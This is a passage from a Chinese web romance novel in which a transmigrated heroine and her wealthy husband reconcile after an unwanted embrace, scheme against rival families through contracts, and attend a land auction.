林知妤似是怕沈砚礼觉得自己在胡言乱语,她挪近了他几分,从桌上摆放整齐的纸张随意翻了张出来,在上面描述着自己脑海中记得的书中描写。
沈砚礼注意力没在上面,少女微微附身写一会就直起身给他讲解,俯下一会又直起身,她拿着笔边画边说,嘴里振振有词说的有条有理。
她的动作有条有理,背脊紧随着她俯下的身躯勾勒出完美弧线,领口未稍加遮掩,金杏色衣裙下的雪白尽收眼底。
沈砚礼不动声色地移开视线,看似平静的面孔,喉间的吞咽动作不由地暴露出本心。
林知妤不依不挠,见沈砚礼走了神,她拉过他的衣角使他们凑得更近了些,指点着纸上的“重点”要他紧记。
“我记得也不完全对,你要结合我的描述去应付后面的事。”笔帽在纸上敲了又瞧,一再提醒。
洗发水的山野玫瑰,沐浴露的乌木玫瑰林知妤唯爱玫瑰香,每一个有味道的物品中都会带着点玫瑰基调。
两种香味结合持久,却并不难闻。
身上带玫瑰味的兔子。
沈砚礼再近一分嘴唇就能贴上她的发丝,林知妤尚未察觉依旧自顾自地说个不停,他没耐心再听,将她手里的笔夺过扔到前面。
“诶。”
林知妤伸手想接,沈砚礼不让,他扯回她伸出去的手臂,将细白的手腕攥在手心。
林知妤不受控地被拽向沈砚礼,男人黑瞳深如渊,面上不带情绪,语气带着烦闷:“知知,你把我当什么?”
他一向温和有礼的态度变了模样,深沉的目光和不耐烦的语气让林知妤有些慌了神。
她瞥过桌上的白纸。
男频文里也有妻不可摄政?
她还没谈过恋爱,能和一个男人共处一室,还能不设戒备的在有异性的房间里安心睡觉,在遇见沈砚礼前她还未有过相似经历。
同吃同住,有共同敌人能互相帮衬。
林知妤犹犹豫豫下,盯着沈砚礼逐字逐句:“闺——蜜?”
沈砚礼的脸明显更黑了。
领过结婚证的闺蜜?
林知妤识时务,不见他开口她也战战兢兢不敢说话,小心瞧着他的脸色,大有不对劲就跑的架势。
自己的老婆要和他做闺蜜。
沈砚礼对她给出的答案哭笑不得。
他叹了口气,他低下头无奈低笑,毫无办法地接受了这个称呼,
林知妤微微仰着下巴去观察,见他脸色有所缓和,她赶紧抽回手腕就要逃离现场。
下一秒,她刚站直的身体被沈砚礼拦腰捞了回去。
后背贴上温热的身躯,身下的触感与冰凉的沙发各位不同,林知妤错乱下撑着手想跑。
“别动,知知。”他温沉的嗓音低低的在她耳畔低哄。
“做什么?”她不应。
“让我抱会。”
带着热气的鼻息近在咫尺,沈砚礼低下头埋进她的肩窝,身下挺|硬的感触,让她大惊失色。
24岁已经不是小孩子了,没吃过猪肉还没见过猪跑吗?
林知妤挣扎的动作戛然而止,她静悄悄地被男人圈在怀里一动不敢动。
林知妤失红了脸,她僵硬着转过头支支吾吾:“你……别乱来。”<
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p>低沉的闷哼替他做了答。
要说之前,林知妤确实没把握好分寸,毕竟男女有别,再这一刻,她彻底对之前自己的行为懊悔。
时间静悄悄地过去,沈砚礼拥着她的动作渐渐放松,他高大的身躯圈着怀里的少女,几乎将她整个覆盖。
“好……好了吗?”感受到威胁消失,林知妤不安地开口。
沈砚礼没完全松开她,林知妤扶着沙发勉强退到沙发上,手腕还被他攥在手里。
“抱歉。”
做都做了,道歉有什么用。
她耳根的红还未褪下,林知妤没好气,不想理他。
“我可以走了吧。”她假装淡定。
没什么大不了的,再怎么说他也是自己名义上的丈夫,林知妤企图说服自己。
“我们明天一起去拍那块地皮,好不好”他似有意示好。
林知妤回头看他,沈砚礼衣衫完整,面上回复了往常的平静,和刚才意欲不满的模样截然不同。
他从容自然的模样一点都没有做了亏心事的反思,林知妤更气了。
她甩开沈砚礼的手,他不让她走,她就:一言不发。
林知妤就这么和他僵持着,沈砚礼没了办法,他低低轻声叫她:“知知。”
她眼睫低垂,沉着脸不为所动。
沈砚礼想向她挪动一分,他一动林知妤拧着眉就往后退一点。
他知道这次闹的狠了,她抿着唇眼里的情绪是对他的疏离。
“知知,是我不好,我……”一向都是别人哄他,第一次遇到这种情况他显然有点不知所措。
他使出浑身解数也不知如何安抚一个女孩。
林知妤轻轻叹了口气,眼泪随着她站起来的身体往下落,泪珠晶莹,无声无息,沈砚礼看得仔细。
他不加思索伸手将她拦下。
长臂揽过她的肩膀,林知妤背对着他,沈砚礼不敢轻举妄动,只能在她身后轻诉:“别哭知知,不要哭了好不好,我们谈谈。”
林知妤微微抬起头闭上眼睛,强忍着将泪水咽下,眼下有肌肤接触,沈砚礼用手指给她擦去泪痕,试图安抚她的情绪。
泪水不受控制地留下,林知妤别过脸,她轻颤着尾音:“你不要这样了。”
把她当什么了?
沈砚礼的手停在半空,他掰过林知妤的肩膀和她对视。
少女眼眶泛红,沈砚礼看着她的模样心里悔的不行。
“对不起知知。”长指将她眼眶中溢出的泪水拭去,他低着头一遍又一遍地说着:“对不起。”
“不会了,再也不会了好不好?”
林知妤推开他的手,声音哽咽:“你不要这样,这种事要你情我愿的,你把我当什么了?”
“沈砚礼,你一点都不尊重我。”
他点了点头,泪水顺着脸颊滑下,沈砚礼伸手向前却被她躲开。
“你刚才还凶我,什么都不说就冷着脸,有什么问题不能说出来一起解决吗?”
“沈砚礼——”
“我在这边人生地不熟的,你更应该照顾我点才是。”
20.第 20 章
林知妤抬眸凝视眼前人,温热的大掌托着脸颊,拇指指腹在眼下温柔的蹭过,沈砚礼附身低哄着。
“好,不会了知知,是我不好……”
没能控制住自己。
泪珠在指端汇聚又往下滑落,男人神情肉眼可见的慌乱,少女眼睫颤抖哭个不停,沈砚礼没辙。
他活了这么多年,还从没这么低声下气地哄过一个人,近到嘴边的话说不出口,只能不停地恳切道歉。
“你骂我吧,怎么骂我都好。”
只要不哭了,要他做什么都好。
林知妤哭的两眼通红,滚烫流下的泪似锥子般毫不留情地扎入他的心口,疼的他喘不过气来。
这话非但没止住哭声,反而更起劲了,伴随着泪水,她一道把这几天的委屈全都发泄在他身上,“这里一点都不好。”
没亲人没朋友,寄人篱下看人脸色,稍有不慎可能还会丢失性命。
她好想走,好想回家啊。
破损的呜呼从喉间溢出,她的肩膀紧跟着颤抖,沈砚礼手足无措,林知妤皱着眉委屈的神情就在眼前,他轻轻揽过她的头将她按在怀里。
“对不起知知。”
肩膀被泪水浸湿,一瞬间的滚烫随后化为冰凉,沈砚礼轻抚着她单薄的背脊安慰,“对不起,是我不好,再也不会了。”
他眼睫垂下,无声感受肩膀上传来的低微抽搐颤抖。
再也不会了。
“都怪你,都怪你。”林知妤声音里黏着哭腔,积累许久的泪水倾泻而出,豪不克制的抽泣声在房间里长久保持。
宽大的身躯将她整个包裹,他毫不留情地接住了她的情绪,声音中带着些低哑:“是,怪我,是我不好。”
心脏似纸张般被揉的稀巴烂,喉间几乎被酸意填满。
是我让你受委屈了。
好在发泄一番后,林知妤的情绪有所缓和,肩膀上的抽颤逐渐减弱,沈砚礼察觉后脸色微不可查地放松下来。
手臂紧扣着的力道松动林知妤有些哭累了,缓了一会儿,呼吸逐渐平复。
她抬起头倔强的抹去泪痕,定定看了他一眼低低地说:“我要回去睡觉了。”
心底的雾霾散去,林知妤意识到自己刚才的放肆,她此时此刻有些不知道面对沈砚礼。
“我们谈谈。”沈砚礼拉回她想要逃避的手臂,将她扣在沙发上。
他动作轻柔,与刚才为她拭去泪水时相同。
她一言不发,低着头不肯看他,心里还有气。
沈砚礼:“是我不好,以后不会了,我让人教你点防身的功夫好不好。”
“有人欺负你,你就打他,包括我。”
林知妤有些诧异。
哪有人教别人给自己下狠手的。
“以后不会再让你一个人了,我保证。”他又说,这次语气放的更低,完全不似在外高高在上的模样。
他低声下气地哄着,只为求得她的原谅。
林知妤避而不答:“教我点社交礼仪吧。”
宴会上胆怯的模样让她都忍不住厌恶自己。
少女哭过的嗓音中还带着点模糊低哑,没点头也没拒绝,沈砚礼拿捏不准她的心思,不过肯和他说话就好。
他点点头,“好。”
她不再应声,房间有持续了好一阵的安静,沈砚礼小指颤了颤,知道她在等他开口。
她还在和自己闹脾气。
“晚了,睡了吧。”
他如她所愿。
“嗯。”
床铺上传来悉悉索索的动静,沈砚礼寻声看去时,那头已经陷入了平静。
夜渐深,沈砚礼离开卧室前倚在玻璃墙上,少女睡梦中都在无意识地哼哼,点点泪珠在眼睫上要落不落。
即使在梦里也在害怕吗?
他走过去为她拭去将将要落的泪水,水渍一路从手掌蔓延到腕间,而后滴落床被。
是夜,书房灯光长亮至灯明。
一则电话将管家正在交代事务的话打断,看见来电话后他赶忙接起。
那头,嘶哑沉重的嗓音像是一夜未眠,“把那些人解决了。”
“尽快。”
至那晚之后,林知妤好长一段时间没再见过沈砚礼。
半夜口渴起床,隔间的灯依旧没亮,她掀开被子往楼下走,只觉得心里空落落的。
路过书房,灯光从门缝透出点点微光,林知妤还未来得及走开,房门毫无防备地从里面打开。
看见来人,两人都愣在原地。
“怎么了?”他低声问。
林知妤摇了摇头,“有些口渴了。”
“回去吧,我给你倒。”他语调轻轻不容拒绝。
至那之后,床头一直放着杯温水,水杯无一日缺席,隔间后却不似从前。
他像是有意在躲着自己。
-
“楚小姐,是我奶奶邀请你的吧。”陆煜宸看见来人,疑惑在眸中短暂闪过,随即便明白了陆雪梅的用意。
来人不慌不忙地坐到了陆煜宸的对面,对他的问题不置可否。
楚诗意将包随意放至身后,“陆公子既然明白,想必也清楚我来此的目的吧。”
服务员这时拿着菜单推门进来,她伸手接过正要开口,就被陆煜宸打断。
“出去。”
他缓缓放下刀叉,面色不悦。
服务员知道眼前这位的身份,一分也没停留,鞠了躬就离开。
即便如此,楚诗意依旧慢条斯理地翻看着手中的菜单,对他的态度视若无睹。
“出去。”他再道。
“已经走了呀。”楚诗意眸含笑意。
她怎么可能不知道陆煜宸的意思,只是不愿意做罢了。
“楚小姐,不要让我说第二遍。”他沉下脸,声音里带着怒意。
陆雪梅丁宁再三要他按时来蕴祈餐厅,说有大事要一起商量,原来是这种大事啊。
给他找三?
亏她想的出来。
“陆奶奶喊我来的,要赶我走,那你叫奶奶来说。”楚诗意不依不挠。
陆雪梅给了她准信,这场晚餐关乎两家建交,由不得陆煜宸说“不”。
她一副从容淡定的模样,陆煜宸不屑地点了点头,“行,你不走,我走。”
楚诗意也没有挽留,耸了耸肩示意他随意。
门外已经反锁,陆煜宸尝试了多下也无济于事,他转过头来,“你到底想怎么样?楚小姐。”
楚诗意淡定地笑了笑:“陆公子要不坐下聊?”
她将叉子放下,五指并拢向前示意。
“楚小姐,我奶奶可能没告诉你,我已经有妻子了。”陆煜宸没好气地坐了回去,他摆弄着盘里的刀叉,冷冷开口。
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“我知道。”楚诗意不假思索。
“你知道?”
“当然,不然我不会浪费时间来这里。”她说的淡定自然,分毫羞耻心都没有。
“楚家就是这么教养女儿的?上赶着给人做三?”陆煜宸冷笑。
“三?”这是楚诗意出生以来听到过最好笑的话,“你太高看自己了,我们楚家的女儿从不居于人下。”
“你还当自己是皇帝呢?竟然想让我和季羡林共伺一夫,季家给的你什么脸,让你这么自大。”
她说的一脸不屑,对陆煜宸的态度一差再差。
“那你还坐在这里做什么。”陆煜宸没因她的三言两语失控。
反而端坐在前似乎有意隔应。
“陆煜宸,现在不是我有求于你。”
“是你。”
“有求于我,我们楚家。”楚诗意双手抱臂,神高气昂。
陆煜宸嗤笑:“楚小姐,话不要说的太大了。”
“季氏财务持续亏损,高额负债未能还清,甚至出现产品害死人事件,整个集团陷入舆论风波。”
“怎么,你要放着沈氏集团不要,陪着他们一起吗?”她挑了挑眉。
季氏集团本就有入不敷出的经济问题,最近因舆论影响,资金链断裂,已经无法维持正常运营,整个集团摇摇欲坠,濒临破产。
“这是我的家事,不是你该关心的问题。”陆煜宸指尖轻叩了两下扶手,他兴致缺缺,不再想听楚诗意的长篇大论。
“听说吉安那个项目你拿在手里?”楚诗意开始进入正题。
陆煜宸手托腮,百般无聊的将酒杯转在手里,他静静坐着,也不回答。
楚诗意无所谓,她继续说着:“老宅那位不会帮你,季家帮不了你,这么大一个项目你想怎么做起来?”
“既要吉安,又要保季家,陆煜宸你哪来这么多试错成本,和我们楚家合作,你能得到绝对不少。”
“能和我合作的大有人在,楚诗意你凭什么觉得我非你们楚家不可。”
“地皮。”楚诗意淡淡说道。
“什么?”陆煜宸平静的脸上终于有了裂痕,他皱了皱眉。
“没有我们家授意,地皮你绝拿不到一块。”
“楚小姐还是一向自大。”
“凌洋那块地最近炒的火热,我们家谈合作一向很有诚意,可以实话告诉你,那里不适合。”她慢条斯理地喝了口红酒缓缓道。
“政府最近会抬政策,你买了那里只会血本无亏。”以为他不信,她下巴轻抬示意他打个电话,“不信?你可以打电话问问。”
陆煜宸怎么可能不信,这个消息他早有耳闻,正是一筹莫展的时候,楚家就递消息来了。
吉安这个项目他压下了全部身家来赌,若是没了就是真的完了,那他还能拿什么翻盘,对于吉安的建成,他势在必得。
楚诗意见他脸色松动,有些意外。
消息这么灵通,政府瞒的严严实实,他竟然能探听一二,这个男人不容小觑。
陆煜宸不说话也不行动,她轻笑了声:“怎么样陆公子,我现在——”
“可以点菜了吗?”
右手边的服务铃被按响,陆煜宸的手覆在上面。
随着服务员的进门,前方金碧辉煌的墙面上镶着一大面幕砖,墙后是女人不可置信地面孔,紧接着泪水而下。
21.第 21 章
蕴祈餐厅,室内一贯的高调精致欧美风装修,天花板上以描绘欧式名画为设计,中央的水晶吊灯模拟昏光笼罩画作,成就了点睛之笔。
柔和的烛光给餐桌照明,用餐者脸上被打上了一层朦胧模糊的阴影。
季羡林隔着灰色幕墙一瞬不瞬地盯着对面相谈甚欢的两道身影。
男人举止高雅,举手投足间皆是富家公子彬彬有礼的做派,谈笑间将盘中切好的牛排与女子对换。
女人落落大方,谈起话来一点都不逊色于男人,不论是行业研究还是战略规划她都手到擒来,她随意的一句表达都能得到男人毫不吝啬的赞同。
比起她,季羡林低头看了看自己。
心底忍不住自嘲,她只会争风吃醋,行事手段都上不得台面。
“现在看到了吧?我什么时候骗过你,阿林,陆煜宸这个男人不可信。”季明曦在旁苦口婆心地相劝。
她这个妹妹不亲眼看见渣男的真面目,是绝对不会醒悟的,药虽猛了点,但好在见效快。
她拉起季羡林的手,轻抚安慰,“什么样的男人找不到,为什么偏偏要他?”
如今季家今不如昔,陆煜宸是不会放下沈家这个香饽饽来帮她们填窟窿的。
他要的是能给他助力的亲家,而不是拖后腿的联姻关系,比起能给他提供支援和消息的楚家,她们林家已经落得下风。
若不是她早早回来,这个傻妹妹还被男人蒙在鼓里。
“他只是被形势所逼,姐……他说他会一直爱我的。”季羡林鼻尖泛红,泪珠挂在眼尾摇摇欲坠。
即便见到这个场景她还在为他开脱。
季明曦恨铁不成钢,“形势所逼?他能被谁逼?即便那个门被陆雪梅关上,他要是想走有的是办法。”
“可是现在呢,你好好看看他在干嘛。”
季明曦攥着她的手臂,指着隔壁其乐融融的两人,男人举杯相邀,女人轻言欢笑。
季羡林摇了摇头,她不相信昨日还信誓旦旦承诺说爱她的人,此刻却坐在餐厅里和别的女人把酒言欢。
她颤抖的手在屏幕上滑了两下,随即隔壁男人的手机发出声响。
他似有感应般看也没看就将手机掩下,接二连三的电话打来,陆煜宸这才有所反应,他朝楚诗意示意了一下,就在外头将电话接起。
他脸上不耐烦,说出口的声音却像哄小孩,“怎么了阿林?我在公司呢?有什么事吗?”
听着手机里熟悉的声音传来,男人单手插兜站在走廊,时不时还回头和包间里的女人点头安抚。
季羡林看在眼里,忍不住掩口哭泣,她紧紧掐着手里的包,指甲陷进□□中留下深深印记。
她不明白,为什么要这样?为什么要骗她。
没听见她的声音,陆煜宸拧眉看了眼手机确认没挂后,再次开口:“阿林?”
“你还在吗?”
“阿宸,我……”她哭的泣不成声却不想让他发觉异常,勉强忍下抽泣后开口。
即便如此,声线中还是带着显而易见的哭腔。
陆煜宸发觉,“怎么了阿林,你的声音怎么这样?你在哭吗?”
他似是有所怀疑,又或是做贼心虚,随即左右环顾了一周,确认无事这才放心。
季羡林在他看不见的地方摇了摇头,她含着哭腔不再掩饰,祈求他回来,“我……我好痛阿宸,我肚子好痛,你回来陪我好不好?” 只要他回来,她就当今天的一起她都没看见,她还会像以前那样,爱他。
他们还能恢复从前。
陆煜宸不应:“你等等我,阿林我现在走不开,工作忙完我马上回去找你好不好?我叫家庭医生过去,你忍一忍。”
季羡林只觉得心冷,玻璃碎了就碎了,即使修复也不能如初。
她眸中盈满了水汽,逐渐了认清现实,知道他们再也回不到从前了,“不用了,你工作吧,我休息一下就好了。”
“好,那你照顾好自己,我先去忙了。”陆煜宸迫不及待没有丝毫犹豫,不等季羡林反应,电话已经挂断。
手机里头嘟的一声恢复平静,再抬起头时男人已经稳坐隔间,脸上并无半分焦急模样,不像一个担心妻子的丈夫。
季明曦冷眼目睹了这一切,对陆煜宸的行为毫不意外。
手机啪嗒一下摔在地上,季羡林失了力整个人歪倒在季明曦怀里,她面色苍白,嘴唇发抖,“怎么办姐,怎么办,没了都没了,他不要我了。”
“季羡林你哭什么?像什么样子,一个男人而已,我给你找,多的是比他好的。”
哭声在包间内持续延续,季明曦想到了什么,她回眸看向端坐在桌前的男人,沈砚礼一副置身事外的模样,修长的指尖在茶杯上轻叩,手腕上的银色袖口紧随晃动。
屋内哭泣的女声引起他的不悦,沈砚礼掀起眼帘凝视面前两人,季明曦迎上他目光的那一刻,心底忍不住打颤。
明明他面无表情,季明曦却还是感受到了来着他身上那让人喘不上气的压迫感。
她搀扶着季羡林交于保镖,示意他们先带她回去。
屋内再次恢复平静
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,她留下来似有话说。
“阿砚,谢谢你为我安排的这些,我替季家谢谢你。”季明曦拿起桌上的酒瓶给自己倒了半杯,她高举在前等着沈砚礼的答复。
他不答,淡淡喝了一口还留有余温的茶水,对她的话视而不见。
还以为会等来他的怜惜,半天没等到回应的季明曦骑虎难下,她咬咬牙将红酒一饮而尽。
沈砚礼这才悠悠开口:“我夫人终日因你们季家的事伤神,我不想因为你们而和夫人离心,不存在什么为了你。”
他招了招手,陈助从身后递来文件。
“这是合同,签了它,我保你们平安度过这一难。”他说的平静,声线毫无起伏。
“阿砚,我……”季明曦有话要说,看着他却半个字也说不出口。
沈砚礼不等她签字,起身要走。
“阿砚,这么久不见,你都不愿意坐下来和我好好聊一聊吗?”季明曦拦住他。
“季小姐,我和你没什么好谈的。”他神情淡漠,居高临下地看着她。
“阿砚,你是不是还在因为我出国的事生气。”她急急地把话说出口。
“我是迫不得已,阿砚你是知道的,我喜欢画画,我不能一辈子都困在国内,我也有自己的理想抱负要去实现。”
沈砚礼面不改色,他倒退了两步和她拉开距离,话意里是对她的冷嘲:“季小姐,你的理想抱负和我有什么关系?”
怎么会没有关系。
她不依不挠,仍要上前。
“陈盛。”沈砚礼已经不耐,他带着怒意的语调喊着身后人。
陈助急忙向前将手横在季明曦身前,“季小姐,我们夫人还在等着先生,请您自重。”
“阿砚,我们谈谈好不好?如果你还在生气,我可以道歉,你让我做什么都行,别这么冷漠的看着我。”
“说好的五年,我提前回来了,我们和好好不好,”季明曦说的急切,生怕他走掉。
沈太爷最开始物色孙媳妇时定的就是季家,刚好两人当时正在上同一所大学,他便让二人先相处着,觉得不错就选个好日子定下来。
当时沈砚礼并未将此事放在心上,这个沈太太谁当都一样,他对季明曦的存在漠不关心,沈太爷若是喜欢,娶回家能让他高兴的话那就娶吧。
但是现在不同,想到林知妤,沈砚礼眸底闪过一丝柔软。
家里有一个小姑娘就够了。
“季小姐。”他顿了顿,“不想季家出事的话,就安分点。”
“我不介意将合同收回。”
22.第 22 章
雨后放晴,炙热的阳光透过云层肆意洒满大地,空气中带着潮湿的气息抚平藏匿在心中的疲惫,人们享受这一刻身心惬意带来的宁静。
恰是正午,林知妤难得早起,餐桌上按着她的喜好菜点摆满了一桌,她坐下来还没吃两口,门口就传来动响。
“先生。”
管家亲和有力的声音在玄关响起,听到这声久违的称呼,林知妤咀嚼的动作微不可察的顿了顿,随后恢复正常。
“先生用过餐了吗?是否要让人准备。”
沈砚礼随手将外套脱下交于管家,他扯了扯领带,神色淡然正要开口:“不……”
走过拐角,餐桌上的身影映入眼帘,平静的面容上闪过片刻诧异,往常这个时候他还见不到林知妤,卧室的大门应该还是紧闭着的状态。
林知妤有所感应般抬起头,视线交织后她率先移开。
沈砚礼面不改色,他话音一转,极淡地偏头交代:“不用做别的了,筷子添一双。”
管家愣了愣,他不可思议地瞧了眼餐桌上的菜食和面无表情的太太。
林知妤偏爱重口,沈砚礼却常以清淡为主。
往常厨房都会做两种口味的饭菜,今日沈砚礼回来的突然并无陈助通知,厨房毫无准备,再看他脸上并无改口之意,管家惊讶中点了点头向下吩咐。
沈砚礼回来也是临时起意,处理了季家的杂事,他总想着该回来和她说一声。
奈何,他心心念念的人根本不乐意搭理他。
林知妤神色自若,视他无人,沈砚礼也不主动开口,他淡淡地提着筷子跟在她的动作后,她夹一块他也夹一块。
但他不吃,就是放着。
林知妤很快发觉异常,她拧了拧眉,没好气地喊他:“沈砚礼。”
学她干什么?
他面色从容,看她的眼底里带着无辜的神情,林知妤气不打一处,她张了张嘴话却说不出口。
沈砚礼有意招惹,她偏不如他愿。
林知妤默默低头不再搭理他。
“知知。”沈砚礼轻轻唤她。
口音中带着拗不过她的无奈。
林知妤不理。
两人已有半个月没打过照面,人见不着,话也不愿意说,她对他的话置之不理,心里还生着闷气。
“知知。”他又唤。
林知妤掀了掀眼皮,淡淡地瞥了他一眼,继续默不作声。
沈砚礼无可奈何,他极低地叹了口气,将合同往她的方向递了递,“赔礼。”
感情中,总要有人低头的。
是他做事轻薄了,确实不该如此。
看他有意示好,林知妤盯着他一瞬不瞬考察他话语中的真实性。
片刻后,这才发大善心的将合同接过。
林知妤困惑下缓缓将其翻开,上面是季家与沈砚礼个人集团的约定条款。
她缓慢的逐字逐句将合同读完。
最后一行,清晰引目得写着:不得再与陆煜宸有任何行事上的来往。
季羡林不得与沈家任何人泄愤闹事,违此条款则合约作废,柏悦集团将全权收回对季家的所有赞助。
乙方签名上季明曦的名字和季氏集团的公章赫赫在目。
林知妤有些震惊,季家竟然会在这个时候放弃陆煜宸这个香饽饽,她虽不解,但十分好奇沈砚礼的手段。
她不解地看向端坐在前的沈砚礼。
他做了什么?能让季家甘心签下这个合同。
男人气淡神闲,他修长的轻叩了叩桌面,薄唇轻启:“下面还有。”
也不解释也不言明,林知妤狐疑下翻看,这才看见底下还盖着一份合同——股份转让协议书。
转让方:季明曦,受让方:林知妤。
甲方同意将其持有的季氏集团25%的股份无条件无保留地全部转让给乙方,乙方同意上述股权。
林知妤一时间瞪大双瞳。
给她的?
沈砚礼将她的反应尽收眼底,他先是淡定的叫下人送来了笔,而后才徐徐道:“季羡林做错了事,总要付出点代价。”
这代价未免也太大了些吧。
林知妤更惊了,那她们两姐妹且不是要恨死她?
“签字。”他轻描淡写地一句,像是在给她下定心丸。
有他在,季家不敢对她有多余的想法。
最近的新闻她有在看,相对于破产,这点股份算不了什么,能拿这些股份保全整个季氏,这买卖不亏。
更何况,股份在她身上,沈砚礼若是想对季家动手,也得为林知妤再三考虑,也不失为对季氏集团的一种保障。
林知妤也不推辞,她心安理得地将合同签下,权当季羡林那一瓶酒给她的补偿。
“消气了吗?”沈砚礼问。
林知妤没想就这么轻而易举地就原谅他,她在他眼下晃了晃笔,笑盈盈道:“同志还需继续努力。”
少女眉梢微翘,面目中不再黯淡无光,多了几分生机活力,见她笑意绵绵,沈砚礼突觉心有羽毛挠过,隐隐发痒。
他极淡地‘嗯’了声,拿着筷子的力道无意识地缩紧,面色却不漏半点。
“你刚才就是去做这件事吗?他们为什么不和陆煜宸合作,要和你?他不是他们姑爷吗?”林知妤不解。
她特意放下筷子,眼睛直勾勾地盯着他。
“名利场里没有绝对的关系,不过利益所向,季家不蠢知道该怎么站队。”他说的漫不经心,把人心看的透彻。
林知妤饭没吃两口,托着腮问道:“那陆煜宸呢,他会善罢甘休?”
沈砚礼慢悠悠敲了敲她的碗,清冽不容拒绝的嗓音响起:“先吃饭。”
林知妤对他欲言又止,这时候打什么茬。
看他一副自己不照做就不会开口的模样,林知妤败下阵来,不得不顺着他的意行事。
沈砚礼这才重新开口,他不紧不慢地将餐厅里的事一一和她说。
林知妤不可置信:“他们真的要离婚吗?”
沈砚礼:“嗯。”
“这么大一出戏,你怎么没带我去!”林知妤气急。
沈砚礼低叹:“……知知,我们刚才还在冷战。”
“……”
林知妤低哼了声:“什么冷战,明明是你躲着我。”
沈砚礼没反驳:“是
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,是我无颜见你。”
季家的事还没大到人尽皆知的程度,他不过添了把柴,让事情快速尘埃落定罢了。
好在这份赔礼,知知满意。
“那楚家呢?那可比季羡林他们难对付多了。”林知妤话音一转。
沈砚礼答得云淡风轻:“不难。”
林知妤无言以对。
大佬说什么都是不难。
沈砚礼看着林知妤笑而不语,家有军师,确实不难。
“晚上有拍卖会,要去玩吗?”沈砚礼问。
“拍鸿洲那块地吗?”
他不假思索:“是。”
陆煜宸能改变主意不和沈砚礼争凌洋原来是因为有楚家给的担保,转而去拍毫不起眼的鸿洲。
林知妤来了兴趣,这次沈砚礼也知道了,拍卖会上的戏觉得比早上她未看到的还要精彩,她毫不犹豫地点了点头。
她当然要去。
-
城南拍卖园,每半年举行一次大型拍卖会,拍品小有珠宝首饰,大有豪宅土地,送拍货品经三重鉴定无误后方可预展拍卖,在品控方面从未发生过争端,因此大大出名。
预想参与拍卖的都需验资才可获得资格,身价低于九位数不得参加,身价九到十位数的来宾只能坐于大厅,十一位数的坐于平台包座,十二位数往上的位于包厢。
今日的拍品非同寻常,现场氛围不同与往常那般活跃,越接近开始时间,气氛就越发凝重。
今日临江市有头有脸的人物都聚集在此,每个人的目标都是那近一个月传的沸沸扬扬的黄金地带——凌洋。
上头漏出来的信息说是政府重点规划的地区,未来有望建成中央商务区,升值潜力大,因此引来不少关注。
实则是上头放下的假信息,若是拍去了就会成为政府抓商政合污的首要监视目标。
不仅钱地两空,还会在行事上处处受限,书中沈砚礼就是在这里吃了第一个亏。
私人包厢中,林知妤坐在沙发上翻看着膝上的拍卖手册,拍品玲琅满目,起拍价更是高的吓人。
沈砚礼斜靠着沙发,手臂直直搭在靠背包顶上,将林知妤整个圈在他的地盘。
她坐的不远,手册下角在她翻页的晃动下时不时擦过他的大腿。
他漫不经心地瞥过林知妤,对上她疑惑的视线后会不疾不徐为她解答。
她心不在此,拍卖册里除了艳丽一点的珠宝她多看了两眼,之后便再也提不起兴趣。
她恹恹将册子放下,一副兴致缺缺的模样。
沈砚礼发觉:“无聊了?”
林知妤点了点头,他们来早了点,陆煜宸还不见人影。
话说季家有意和他拉开距离,那他拿什么参与今天的拍卖。
楚家给吗?
沈砚礼看出了她的疑问,他漫不经心地给她解答:“陆雪梅。”
“她?”林知妤明显不信。
陆雪梅躲在外面这么多年才敢回来,她哪来这么多钱?
沈砚礼淡声回:“是。”
他似不放心,又着重嘱咐:“知知,离她远点。”
这位手段太脏,她会吃亏。
23.第 23 章
陆雪梅一个女子能在当年内斗中全身而退,而今又带着陆煜宸重返沈家,可想而知她的实力不容小觑。
偏她又长的一副慈祥和蔼的模样,施加手段定能骗得小姑娘善心。
不过他忘了,林知妤不是一般的小姑娘。
对这方面,她的警惕心比他还高。
果不其然,林知妤语调笃定,毫不犹豫,“当然。”
陆煜宸身边就没有好人,她再傻傻凑上去才是真蠢了。
少女眼神坚定,坐在沙发上郑重有力的肯定,眉眼里透漏着的活力是他从未拥有过的。
“好。”沈砚礼只觉得心软,语调不自觉低了又低。
场外声音嘈杂,一时间拍卖场变得热闹非凡。
沈砚礼漫不经心地道了句:“来了。”
林知妤站在台前向下俯瞰,来人还是那般,在哪都兴师动众,享受万人拥睹。
只不过这次不同,他身边的女伴换了人,不再是季羡林,换成了楚诗意。
她与季羡林不同,她不做陪衬陆煜宸的绿叶,面对众人的视线她大大方方回礼,陆煜宸在她旁边反而黯淡了光彩。
“怎么季家那位没来?这是什么情况?”
“老兄,混了这么多年商圈你混傻了吗?季家现在是什么情况,谁会上赶着去惹一身骚。”
“好歹是夫妻一场啊,这也太不讲情意了吧。”
“情意是什么?能当饭吃吗?你这么喜欢,你去接他的盘。”
“诶,这话不要乱说,季家还没倒台呢,你说话小心点。”
“怕什么?临门一脚的事罢了,就现在这样谁还救的了他。”
场内沸沸扬的讨论声此起彼伏,对二人私事的感兴趣程度不亚于对凌洋那片地。
两位当事人却跟没事人般坦然自若,在众人的注视下向二楼包厢走去。
林知妤看着眼里忍不住‘啧啧’感慨:“塑料夫妇。”
沈砚礼这时缓步走近,她最先感受到的是从后背传来人体带来温热的温度,
他清冽嗓音在头顶传来,“楚诗意好争,陆煜宸不容许有人踩着他去博面子,根本不需要我们动手,他们自己就能内讧。”
林知妤下意识地抬眸,男人熟悉清淡的雪松香入鼻,她一米七的个子抬起头只能瞧见他被阴影模糊了半边的下颌。
模糊的阴影削弱了他清冷的侧脸轮廓,渡上一层柔情。
清香入鼻,林知妤觉得全身都沾染上了他身上独有的味道,怎么也散不掉。
不见她回答,男人垂眸看她,毫无防备地撞进了她清透的眼底,干净有光的黑瞳里将他的身影全部装满。
他低低地唤着她:“知知?”
男人温柔的视线里她不自觉地摸了摸鼻头移开视线,她有些尴尬的挽了挽耳间的碎发,将通红的耳根暴露人下。
沈砚礼看在眼底,那深邃的眸中笑意一闪而过,他淡淡地帮她将没挽上的碎发别至耳后,正大光明地欣赏他的‘杰作’。
林知妤毫不知情,自以为藏的很好。
“不急。”他没头没尾地一句。
林知妤困惑:“什么不急?”
沈砚礼闭口不答,他悠悠地看了她一眼。
知知,我们慢慢来。
拍卖会很快开始,人们的注意力重新放回拍品上。
包厢配有举牌员,若是有意竞拍可以示意他举牌。
陆煜宸的包厢就在他们隔壁,拍卖会进程过半也不见他们有所动静。
林知妤玩心重,她盯着几块价格不菲的宝石,说什么都要拍下。
沈砚礼乐意纵容,由着她胡来。
